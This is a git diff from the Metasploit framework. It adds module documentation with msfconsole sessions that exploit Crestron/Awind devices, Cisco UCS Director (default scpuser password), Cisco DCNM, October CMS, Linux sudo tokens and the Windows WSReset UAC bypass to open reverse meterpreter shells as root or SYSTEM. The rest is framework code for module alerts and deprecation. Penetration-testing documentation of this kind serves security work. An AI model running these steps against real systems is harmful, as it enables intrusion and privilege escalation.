+ meterpreter > sysinfo + Computer : centos-7-1708.localdomain + OS : CentOS 7.4.1708 (Linux 3.10.0-693.el7.x86_64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + +### Debian 9.8 (x64) + + ``` + msf5 > use exploit/linux/local/ptrace_sudo_token_priv_esc + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] YAMA ptrace scope is not restrictive + [+] sudo is installed + [+] gdb is installed + [*] Searching for shell processes ... + [*] Found 5 running shell processes + [*] 661, 891, 23499, 23518, 23541 + [*] Writing '/tmp/.Dpq90j6vOk' (329 bytes) ... + [*] Injecting into process 661 ... + [*] Injecting into process 891 ... + [*] Injecting into process 23499 ... + [*] Injecting into process 23518 ... + [+] /tmp/.Dpq90j6vOk setuid root successfully + [*] Executing payload... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (3021284 bytes) to 172.16.191.232 + + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.232:50744) at 2019-08-10 02:54:34 -0400 + [-] Failed to delete /tmp/.Dpq90j6vOk: stdapi_fs_delete_file: Operation failed: 1 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : debian-9-8-x64.local + OS : Debian 9.8 (Linux 4.9.0-8-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md new file mode 100644 index 0000000000..ac2c0bee5a --- /dev/null +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -0,0 +1,73 @@ +## Description + +This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to `ftpfw.sh` system command, leading to command injection. + +Note: a valid SNMP read-write community is required to exploit this vulnerability. + +## Vulnerable Devices + +The following devices are known to be affected by this issue: + +* Crestron Airmedia AM-100 <= version 1.5.0.4 +* Crestron Airmedia AM-101 <= version 2.5.0.12 +* Awind WiPG-1600w <= version 2.0.1.8 +* Awind WiPG-2000d <= version 2.1.6.2 +* Barco wePresent 2000 <= version 2.1.5.7 +* Newline Trucast 2 <= version 2.1.0.5 +* Newline Trucast 3 <= version 2.1.3.7 + +Other devices might be affected by the same issue but lack of access to firmware forbids me from confirming that. See https://github.com/QKaiser/awind-research for full list of similar devices. + +## Verification steps + +1. Start `msfconsole` +2. Do: `use exploit/linux/snmp/awind_snmp_exec` +3. Do: `set payload linux/armle/meterpreter/reverse_tcp` +4. Do: `set RHOST [IP]` +5. Do: `set LHOST [IP]` +6. Do: `run` + +You should get a session. + +## Scenarios + +``` +msf5 > use exploit/linux/snmp/awind_snmp_exec +msf5 exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp +payload => linux/armle/meterpreter/reverse_tcp +msf5 exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2 +RHOSTS => 192.168.100.2 +msf5 exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1 +LHOST => 192.168.100.1 +msf5 exploit(linux/snmp/awind_snmp_exec) > check + +[*] Target system is Crestron Electronics AM-100 (Version 2.6.0.6) +[+] 192.168.100.2:161 The target is vulnerable. +msf5 exploit(linux/snmp/awind_snmp_exec) > run + +[*] Started reverse TCP handler on 192.168.100.1:4444 +[*] Using URL: http://0.0.0.0:8080/u70HALC +[*] Local IP: http://192.168.1.10:8080/u70HALC +[*] Injecting payload +[*] Injection successful +[*] Triggering call +[*] Trigger successful +[*] Client 192.168.100.2 (Wget) requested /u70HALC +[*] Sending payload to 192.168.100.2 (Wget) +[*] Sending stage (806872 bytes) to 192.168.100.2 +[*] Command Stager progress - 100.00% done (113/113 bytes) +[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.2:38009) at 2019-03-28 11:01:41 +0100 +[*] Server stopped. + +meterpreter > sysinfo +Computer : Crestron.AirMedia-1.1.wm8750 +OS : (Linux 2.6.32.9-default) +Architecture : armv6l +BuildTuple : armv5l-linux-musleabi +Meterpreter : armle/linux +``` + +## References + +* https://github.com/QKaiser/awind-research +* https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/ diff --git a/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md b/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md new file mode 100644 index 0000000000..381f7336ee --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/cisco_ucs_scpuser.md @@ -0,0 +1,50 @@ +## Intro + +This module abuses a known default password on Cisco UCS Director. The 'scpuser' +has the password of 'scpuser', and allows an attacker to login to the virtual appliance +via SSH (aka CVE-2019-1935). + +This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. +Note that Cisco also mentions in their advisory that their IMC Supervisor and +UCS Director Express are also affected by these vulnerabilities, but this module +was not tested with those products. + + +## Author and discoverer + +Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security + + +## References + +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred +https://seclists.org/fulldisclosure/2019/Aug/36 +https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt + + +## Usage + +Setup RHOST and run it! + +``` +msf5 exploit(linux/http/cisco_ucs_rce) > use exploit/linux/ssh/cisco_ucs_scpuser +msf5 exploit(linux/ssh/cisco_ucs_scpuser) > set rhost 10.9.8.121 +rhost => 10.9.8.121 +msf5 exploit(linux/ssh/cisco_ucs_scpuser) > set lhost 10.9.8.1 +lhost => 10.9.8.1 +msf5 exploit(linux/ssh/cisco_ucs_scpuser) > run + +[*] 10.9.8.121:22 - Attempt to login to the Cisco appliance... +[+] 10.9.8.121:22 - Login Successful (scpuser:scpuser) + +[*] Found shell. +[*] Command shell session 1 opened (10.9.8.1:38113 -> 10.9.8.121:22) at 2019-08-29 22:27:42 +0700 + +whoami +scpuser +^C +Abort session 1? [y/N] y +"" + +[*] 10.9.8.121 - Command shell session 1 closed. Reason: User exit +``` diff --git a/documentation/modules/exploit/multi/fileformat/zip_slip.md b/documentation/modules/exploit/multi/fileformat/zip_slip.md new file mode 100644 index 0000000000..ed15a84779 --- /dev/null +++ b/documentation/modules/exploit/multi/fileformat/zip_slip.md @@ -0,0 +1,37 @@ +## Description + +This is a generic arbitrary file overwrite technique, which typically results in remote command execution. This targets a simple yet widespread vulnerability that has been seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. The idea is that often archive extraction libraries have no mitigations against directory traversal attacks. If an application uses it, there is a risk when opening an archive that is maliciously modified, and result in the embedded payload being written to an arbitrary location (such as a web root), and result in remote code execution. + +## Vulnerable Application + +Since this is a generic module, it does not target a specific application. However, what it targets is potentially unsafe TAR extraction libraries, so if you happen to notice that, then you can consider using this. + +For example, let's say you have a Python library that has code that can extract a TAR file like this: + +```python +import tarfile +t = tarfile.open('example.tar') +t.extractall() +``` + +The above will extract a TAR file, but the `extractall` function does not have any protection (especially against directory traversal attacks), so it's dangerous. + +An example that is safe from the attack is the `tar` command, for example: + +``` +$ tar -xf msf.tar +../payload.bin: Path contains '..' +tar: Error exit delayed from previous errors. +``` + +## Verification Steps + +1. Save the above Python script +2. Generate the malicious TAR file +3. Run Python on the TAR file: + +```python +import tarfile +t = tarfile.open('example.tar') +t.extractall() +``` diff --git a/documentation/modules/exploit/multi/http/cisco_dcnm_upload_2019.md b/documentation/modules/exploit/multi/http/cisco_dcnm_upload_2019.md new file mode 100644 index 0000000000..8497f7c8d7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/cisco_dcnm_upload_2019.md @@ -0,0 +1,50 @@ +## Intro + +Cisco Data Center Network Manager exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. +An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps +directory and achieve remote code execution as root. + +This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on +versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct +directory for the WAR file upload. + +The module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should +work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit +(see References to understand why). + + +## Author and discoverer + +Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security + + +## References + +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex +https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb +https://seclists.org/fulldisclosure/2019/Jul/7 + + +## Usage + +Setup RHOST, LHOST, LPORT, run it and sit back! + +``` +[*] Started reverse TCP handler on 10.75.1.1:4444 +[+] 10.75.1.40:443 - Detected DCNM 11.1(1) +[*] 10.75.1.40:443 - No authentication required, ready to exploit! +[+] 10.75.1.40:443 - Obtain WAR path from logs: /usr/local/cisco/dcm/wildfly-10.1.0.Final/standalone/sandeployments +[*] 10.75.1.40:443 - Uploading payload... +[+] 10.75.1.40:443 - WAR uploaded, waiting a few seconds for deployment... +[*] 10.75.1.40:443 - Executing payload... +[*] Sending stage (53867 bytes) to 10.75.1.40 +[*] Meterpreter session 1 opened (10.75.1.1:4444 -> 10.75.1.40:60592) at 2019-08-29 12:41:49 +0700 + +meterpreter > getuid +Server username: root +meterpreter > exit +[*] Shutting down Meterpreter... +[*] 10.75.1.40 - Meterpreter session 1 closed. Reason: User exit +``` diff --git a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md new file mode 100644 index 0000000000..2e11c064e7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md @@ -0,0 +1,51 @@ +## Description + + An authenticated user with permission to upload and manage media contents can + upload various files on the server. The application prevents the user from + uploading PHP code by checking the file extension. It uses blacklist based + approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ + Definitions.php:blockedExtensions(). + +## Vulnerable Software + + October CMS v1.0.412 (build 412) + https://www.exploit-db.com/apps/4ff8a9688f31b7338020d0bc85da13fc-october-1.0.412.tar.gz + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/multi/http/october_upload_bypass_exec``` + 4. Do: ```set RHOSTS `` + 5. Do: ```set USERNAME ``` + 6. Do: ```set PASSWORD ``` + 7. You should get a shell. + +## Verification + + ``` + msf5 > use exploit/multi/http/october_upload_bypass_exec + msf5 exploit(multi/http/october_upload_bypass_exec) > set rhosts 10.10.10.16 + rhosts => 10.10.10.16 + msf5 exploit(multi/http/october_upload_bypass_exec) > setg verbose true + verbose => true + msf5 exploit(multi/http/october_upload_bypass_exec) > set lhost 10.10.14.8 + lhost => 10.10.14.8 + msf5 exploit(multi/http/october_upload_bypass_exec) > run + + [*] Started reverse TCP handler on 10.10.14.8:4444 + [+] Token for login : 3ySsc8d8VNMm2V8x3Ns4cay05bwhRxnoIkQjRnBP + [+] Session Key for login : uVNSZ2YRUm39cf8kqJcWV0qr9xhqq9krCYHeVI6m + [*] Trying to Login ...... + [+] Authentication successful: admin:admin + [*] Trying to upload malicious WLMVDKmVpCX.php5 file .... + [*] Sending stage (38247 bytes) to 10.10.10.16 + [*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.16:54124) at 2019-09-03 12:19:20 +0530 + [+] Deleted WLMVDKmVpCX.php5 + + meterpreter > sysinfo + Computer : october + OS : Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 + Meterpreter : php/linux + meterpreter > + ``` diff --git a/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md new file mode 100644 index 0000000000..2c5287344d --- /dev/null +++ b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md @@ -0,0 +1,65 @@ +## Intro + +This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool +is run with the "autoElevate" property set to true, and it will automatically +launch a file from a low-privilege registry location with elevated privileges. +To bypass, simply place the binary on disk, write its location in the +correct registry key, and run WSReset.exe. The binary will be run with elevated +privileges. + +## Usage + +1. Create a session on the target system under the context of a local administrative user. +1. Begin interacting with the module: `use exploit/windows/local/bypassuac_windows_store_reg`. +1. Set the `PAYLOAD` and configure it correctly. +1. If an existing handler is configured to receive the elevated session, then the module's + handler should be disabled: `set DisablePayloadHandler true`. +1. Make sure that the `SESSION` value is set to the existing session identifier. +1. Invoke the module: `run`. + +## Scenario + +### Windows 10.0.17134.885 x64 + +``` +msf5 exploit(windows/local/bypassuac_windows_store_reg) > run + +[*] Started reverse TCP handler on 192.168.135.168:4444 +[*] UAC is Enabled, checking level... +[*] Checking admin status... +[+] Part of Administrators group! Continuing... +[+] UAC is set to Default +[+] BypassUAC can bypass this setting, continuing... +[*] win_dir = C:\Windows +[*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp +[*] exploit_dir = C:\Windows\System32\ +[*] exploit_file = C:\Windows\System32\WSReset.exe +[*] payload_pathname = C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe +[*] Making Payload +[*] reg_command = C:\Windows\System32\cmd.exe /c start C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe +[*] Making Registry Changes +[*] Registry Changes Complete +[*] Uploading Payload to C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe +[*] Payload Upload Complete +[*] Launching C:\Windows\System32\WSReset.exe +[!] This exploit requires manual cleanup of 'C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe! +[*] Sending stage (206403 bytes) to 192.168.132.125 +[*] Meterpreter session 4 opened (192.168.135.168:4444 -> 192.168.132.125:49680) at 2019-09-04 17:01:46 -0500 +[*] Removing Registry Changes +[*] Registry Changes Removed + +meterpreter > sysinfo +Computer : DESKTOP-3DKRD1E +OS : Windows 10 (Build 17134). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: DESKTOP-3DKRD1E\msfuser +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 5c204f1268..9713a61acb 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.43" + VERSION = "5.0.50" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 33ce28ee1f..c09dbc8378 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -88,6 +88,8 @@ module Buffer buf = Rex::Text.to_js_comment(buf) when 'java' buf = Rex::Text.to_c_comment(buf) + when 'powershell','ps1' + buf = Rex::Text.to_psh_comment(buf) else raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller end diff --git a/lib/msf/core/auxiliary.rb b/lib/msf/core/auxiliary.rb index 2aea6da3b1..625bf4579a 100644 --- a/lib/msf/core/auxiliary.rb +++ b/lib/msf/core/auxiliary.rb @@ -119,6 +119,7 @@ class Auxiliary < Msf::Module # Called directly before 'run' # def setup + alert_user end # diff --git a/lib/msf/core/cert_provider.rb b/lib/msf/core/cert_provider.rb index 3b535ccd96..4471b586fd 100644 --- a/lib/msf/core/cert_provider.rb +++ b/lib/msf/core/cert_provider.rb @@ -45,11 +45,11 @@ module Ssl # identification by NIDS and the like. # # @return [String, String, Array] - def self.ssl_generate_certificate(opts = {}, ksize = 2048) + def self.ssl_generate_certificate(cert_vars: {}, ksize: 2048, **opts) yr = 24*3600*365 vf = opts[:not_before] || Time.at(Time.now.to_i - rand(yr * 3) - yr) vt = opts[:not_after] || Time.at(vf.to_i + (rand(9)+1) * yr) - cvars = opts[:cert_vars] || self.rand_vars + cvars = self.rand_vars(cert_vars) subject = opts[:subject] || ssl_generate_subject(cvars) ctype = opts[:cert_type] || opts[:ca_cert].nil? ? :ca : :server key = opts[:key] || OpenSSL::PKey::RSA.new(ksize){ } diff --git a/lib/msf/core/evasion.rb b/lib/msf/core/evasion.rb index e5555cc392..3a1b8de974 100644 --- a/lib/msf/core/evasion.rb +++ b/lib/msf/core/evasion.rb @@ -59,6 +59,7 @@ module Msf end def setup + alert_user end def file_format_filename diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 2f54f4be53..d79c731b6d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -424,6 +424,8 @@ class Exploit < Msf::Module # the payload handler. # def setup + alert_user + # Reset the session counts to zero. reset_session_counts diff --git a/lib/msf/core/exploit/rdp.rb b/lib/msf/core/exploit/rdp.rb index 6c4a532019..b4b95f0d5f 100644 --- a/lib/msf/core/exploit/rdp.rb +++ b/lib/msf/core/exploit/rdp.rb @@ -24,6 +24,10 @@ module Exploit::Remote::RDP OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connect', '192.168.0.100']), Opt::RPORT(3389) ], Msf::Exploit::Remote::RDP) + register_advanced_options( + [ + OptInt.new('RDP_TLS_SECURITY_LEVEL', [ true, 'Change default TLS security level. "0" (default) means everything is permitted. "1" rejects very weak parameters and "2" is even stricter.', 0 ]) + ], Msf::Exploit::Remote::RDP) end @@ -1008,9 +1012,15 @@ module Exploit::Remote::RDP def swap_sock_plain_to_ssl(nsock) ctx = OpenSSL::SSL::SSLContext.new ctx.min_version = OpenSSL::SSL::TLS1_VERSION + ctx.security_level = datastore['RDP_TLS_SECURITY_LEVEL'] ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) - ssl.connect + begin + ssl.connect + rescue Errno::ECONNRESET + vprint_error("Retry with advanced option RDP_TLS_SECURITY_LEVEL=0") + raise + end nsock.extend(Rex::Socket::SslTcp) nsock.sslsock = ssl diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 71fbf82fc0..5609a5fe39 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -14,6 +14,7 @@ module Msf # ### class Module + autoload :Alert, 'msf/core/module/alert' autoload :Arch, 'msf/core/module/arch' autoload :Auth, 'msf/core/module/auth' autoload :Author, 'msf/core/module/author' @@ -43,6 +44,7 @@ class Module autoload :Stability, 'msf/core/module/stability' autoload :Reliability, 'msf/core/module/reliability' + include Msf::Module::Alert include Msf::Module::Arch include Msf::Module::Auth include Msf::Module::Author @@ -93,17 +95,6 @@ class Module self.class.framework end - # - # This method allows modules to tell the framework if they are usable - # on the system that they are being loaded on in a generic fashion. - # By default, all modules are indicated as being usable. An example of - # where this is useful is if the module depends on something external to - # ruby, such as a binary. - # - def self.is_usable - true - end - # # Creates an instance of an abstract module using the supplied information # hash. diff --git a/lib/msf/core/module/alert.rb b/lib/msf/core/module/alert.rb new file mode 100644 index 0000000000..75c43d6c1d --- /dev/null +++ b/lib/msf/core/module/alert.rb @@ -0,0 +1,219 @@ +module Msf::Module::Alert + # This mixin provides a way for alert messages to be added to module classes + # and instances, retrieved from module classes and instances, and displayed + # from module instances. The two alert levels provided by this mixin are + # `:error` and `:warning`, though other levels or display methods can be + # added by subclasses/other mixins if desired by overriding {#alert_user} + # method (calling `super` as necessary), adding a proxy method like + # {ClassMethods#add_warning} that calls {ClassMethods#add_alert} or + # {#add_alert} and optionally a helper retrieval method like + # {ClassMethods#warnings}. + + module ClassMethods + # Add a warning that will be provided to the user as early possible when + # using the module, either when they select it with the `use` command, when + # the module is about to start running, or when the module generates its + # output. + # + # @param msg [String] an optional warning message + # @param block [Proc] an optional block that will be executed in the + # context of the module instance at alert time to generate the warning + # message. If provided the msg parameter is ignored. + # @return [true, nil] whether or not the message was added to the list of + # warnings + def add_warning(msg = nil, &block) + add_alert(:warning, msg, &block) + end + + # Add an error that will be provided to the user as early possible when + # using the module, either when they select it with the `use` command, when + # the module is about to start running, or when the module generates its + # output. Adding an error will cause {#is_usable} to return `false`. + # + # @param msg [String] an optional error message + # @param block [Proc] an optional block that will be executed in the + # context of the module instance at alert time to generate the error + # message. If provided the msg parameter is ignored. + # @return [true, nil] whether or not the message was added to the list of + # errors + def add_error(msg = nil, &block) + add_alert(:error, msg, &block) + end + + # @return [Array] a list of warning message strings, or + # blocks (see #get_alerts) + def warnings + get_alerts(:warning) + end + + # @return [Array] a list of error message strings, or + # blocks (see #get_alerts) + def errors + get_alerts(:error) + end + + # @param [Symbol] the alert level to return + # @return [Array] a list of `level` alerts, either in string + # or block form. Blocks expect to be executed in the context of a fully + # initialized module instance and will return `nil` if the alert they are + # looking for does not apply or a string or array of strings, each + # representing an alert. + def get_alerts(level) + # Initialize here if needed, thanks to weird metaprogramming side-effects + self.alerts ||= {} + self.alerts[level] || [] + end + + # This method allows modules to tell the framework if they are usable + # on the system that they are being loaded on in a generic fashion. + # By default, all modules are indicated as being usable. An example of + # where this is useful is if the module depends on something external to + # ruby, such as a binary. + # + # This looks to have been abandoned at some point in the past, but it may + # be time to resurrect it. + # + # @return [true, false] whether or not the module has encountered any fatal + # errors thus far. + def usable? + errors.empty? + end + + protected + + attr_accessor :alerts + + # Add a message (or block that generates messages) to a module. This + # message will be displayed once to the user by every instance of this + # module. + def add_alert(level, msg, &block) + self.alerts ||= {} + self.alerts[level] ||= [] + if block + self.alerts[level] << block + true + elsif msg + self.alerts[level] << msg + true + end + end + end + + # @nodoc + def self.included(base) + base.extend(ClassMethods) + end + + # Add a warning that will be provided to the user as early possible when + # using this instance of a module, either when they select it with the `use` + # command, when the module is about to start running, or when the module + # generates its output. + # + # @param msg [String] an optional warning message + # @param block [Proc] an optional block that will be executed in the + # context of the module instance at alert time to generate the warning + # message. If provided the msg parameter is ignored. + # @return [true, nil] whether or not the message was added to the list of + # warnings + def add_warning(msg = nil, &block) + add_alert(:warning, msg, &block) + end + + # Add a error that will be provided to the user as early possible when using + # this instance of a module, either when they select it with the `use` + # command, when the module is about to start running, or when the module + # generates its output. Adding an error will cause {#is_usable} to return + # `false`. + # + # @param msg [String] an optional error message + # @param block [Proc] an optional block that will be executed in the + # context of the module instance at alert time to generate the error + # message. If provided the msg parameter is ignored. + # @return [true, nil] whether or not the message was added to the list of + # errors + def add_error(msg = nil, &block) + add_alert(:error, msg, &block) + end + + # This method allows modules to tell the framework if they are usable + # on the system that they are being loaded on in a generic fashion. + # By default, all modules are indicated as being usable. An example of + # where this is useful is if the module depends on something external to + # ruby, such as a binary. + # + # This looks to have been abandoned at some point in the past, but it may + # be time to resurrect it. + # + # @return [true, false] whether or not the module has encountered any fatal + # errors thus far. + def is_usable? + errors.empty? + end + + # @return [Array] a list of warning strings to show the user + def warnings + get_alerts(:warning) + end + + # @return [Array] a list of error strings to show the user + def errors + get_alerts(:error) + end + + # Similar to {ClassMethods#get_alerts}, but executes each registered block in + # the context of this module instance and returns a flattened list of strings. + # (see {ClassMethods#get_alerts}) + # @param [Symbol] the alert level to return + # @return [Array] + def get_alerts(level) + self.alerts ||= {} + self.alerts[level] ||= [] + all_alerts = self.class.get_alerts(level) + self.alerts[level] + all_alerts.map do |alert| + case alert + when Proc + self.instance_exec &alert + else + alert + end + end.flatten.compact + end + + protected + + attr_accessor :alerts, :you_have_been_warned + + # Add an alert for _this instance_ of a module (see {ClassMethods#add_alert}) + def add_alert(level, msg, &block) + self.alerts ||= {} + self.alerts[level] ||= [] + if block + self.alerts[level] << block + true + elsif msg + self.alerts[level] << msg + true + end + end + + # Display alerts with `print_warning` for warnings and `print_error` for + # errors. Alerts that have already been displayed by this module instance + # with this method will not be displayed again. + def alert_user + self.you_have_been_warned ||= {} + + errors.each do |msg| + if msg && !self.you_have_been_warned[msg.hash] + print_error(msg) + self.you_have_been_warned[msg.hash] = true + end + end + + warnings.each do |msg| + if msg && !self.you_have_been_warned[msg.hash] + print_warning(msg) + self.you_have_been_warned[msg.hash] = true + end + end + end +end diff --git a/lib/msf/core/module/deprecated.rb b/lib/msf/core/module/deprecated.rb index 64c846058b..752a8c495c 100644 --- a/lib/msf/core/module/deprecated.rb +++ b/lib/msf/core/module/deprecated.rb @@ -4,50 +4,49 @@ module Msf::Module::Deprecated # Additional class methods for deprecated modules module ClassMethods + attr_accessor :deprecation_date + attr_accessor :deprecated_name + # Mark this module as deprecated # # Any time this module is run it will print warnings to that effect. # # @param deprecation_date [Date,#to_s] The date on which this module will # be removed - # @param replacement_module [String] The name of a module that users - # should be using instead of this deprecated one # @return [void] - def deprecated(deprecation_date=nil, replacement_module=nil) - # Yes, class instance variables. - @replacement_module = replacement_module - @deprecation_date = deprecation_date + def deprecated(date) + self.deprecation_date = date + + # NOTE: fullname isn't set until a module has been added to a set, which is after it is evaluated + add_warning do + [ "*%red" + "The module #{fullname} is deprecated!".center(88) + "%clr*", + "*" + "This module will be removed on or about #{self.class.deprecation_date}".center(88) + "*" ] + end end - # The name of a module that users should be using instead of this - # deprecated one + # Mark this module as moved from another location. This adds an alias to + # the module so that it can still be used by its old name and will print a + # warning informing the use of the new name. This currently only works for + # a single move, but it can be extended in the future for multiple moves. # - # @return [String,nil] - # @see ClassMethods#deprecated - def replacement_module; @replacement_module; end + # @param from [String] the previous `fullname` of the module + def moved_from(from) + self.deprecated_name = from - # The date on which this module will be removed - # - # @return [Date,nil] - # @see ClassMethods#deprecated - def deprecation_date; @deprecation_date; end - end + if const_defined?(:Aliases) + const_get(:Aliases).append from + else + const_set(:Aliases, [from]) + end - # (see ClassMethods#replacement_module) - def replacement_module - if self.class.instance_variable_defined?(:@replacement_module) - return self.class.replacement_module - elsif self.class.const_defined?(:DEPRECATION_REPLACEMENT) - return self.class.const_get(:DEPRECATION_REPLACEMENT) - end - end - - # (see ClassMethods#deprecation_date) - def deprecation_date - if self.class.instance_variable_defined?(:@deprecation_date) - return self.class.deprecation_date - elsif self.class.const_defined?(:DEPRECATION_DATE) - return self.class.const_get(:DEPRECATION_DATE) + # NOTE: aliases are not set until after initialization, so might as well + # use the block form of alert here too. + add_warning do + if fullname == self.class.deprecated_name + [ "*%red" + "The module #{fullname} has been moved!".center(88) + "%clr*", + "*" + "You are now using #{realname}".center(88) + "*" ] + end + end end end @@ -55,36 +54,4 @@ module Msf::Module::Deprecated def self.included(base) base.extend(ClassMethods) end - - # Print the module deprecation information - # - # @return [void] - def print_deprecation_warning - print_warning("*"*90) - print_warning("*%red"+"The module #{refname} is deprecated!".center(88)+"%clr*") - if deprecation_date - print_warning("*"+"It will be removed on or about #{deprecation_date}".center(88)+"*") - end - if replacement_module - print_warning("*"+"Use #{replacement_module} instead".center(88)+"*") - end - print_warning("*"*90) - end - - def init_ui(input = nil, output = nil) - super(input, output) - print_deprecation_warning - @you_have_been_warned = true - end - - def generate - print_deprecation_warning - super - end - - def setup - print_deprecation_warning unless @you_have_been_warned - super - end - end diff --git a/lib/msf/core/module/full_name.rb b/lib/msf/core/module/full_name.rb index 86fc45d34b..c53120e12e 100644 --- a/lib/msf/core/module/full_name.rb +++ b/lib/msf/core/module/full_name.rb @@ -24,6 +24,14 @@ module Msf::Module::FullName "#{type}/#{refname}" end + # + # Classes themselves are never aliased (at the moment, anyway), but this is + # always just the {#fullname}. + # + def realname + fullname + end + def promptname refname end @@ -57,6 +65,14 @@ module Msf::Module::FullName aliased_as || self.class.fullname end + # + # Always return the module's framework full reference name, even when the + # module is aliased. + # + def realname + self.class.fullname + end + # # Returns the module's framework reference name. This is the # short name that end-users work with. Ex: diff --git a/lib/msf/core/module/ui.rb b/lib/msf/core/module/ui.rb index 2cbd697896..d78097014a 100644 --- a/lib/msf/core/module/ui.rb +++ b/lib/msf/core/module/ui.rb @@ -13,4 +13,10 @@ module Msf::Module::UI include Msf::Module::UI::Line # Overwrite the {Rex::Ui::Subscriber} print_(status|error|good) to do time stamps include Msf::Module::UI::Message -end \ No newline at end of file + + # Add alerts to {Rex::Ui::Subscriber#init_ui} + def init_ui(*args) + super + alert_user + end +end diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index 67f0c80bdb..e4e2925d0b 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -103,7 +103,9 @@ module Msf end if module_instance - module_instance.aliased_as = aliased_as + # If the module instance is populated by one of the recursive `create` + # calls this field may be set and we'll want to keep its original value + module_instance.aliased_as ||= aliased_as end module_instance diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index b00a39e7bb..4208f8ea0d 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -89,18 +89,18 @@ module Msf::ModuleManager::Loading # Clear and add aliases, if any (payloads cannot) - if class_or_module.respond_to?(:fullname) && aliased_as = self.inv_aliases[class_or_module.fullname] + if class_or_module.respond_to?(:realname) && 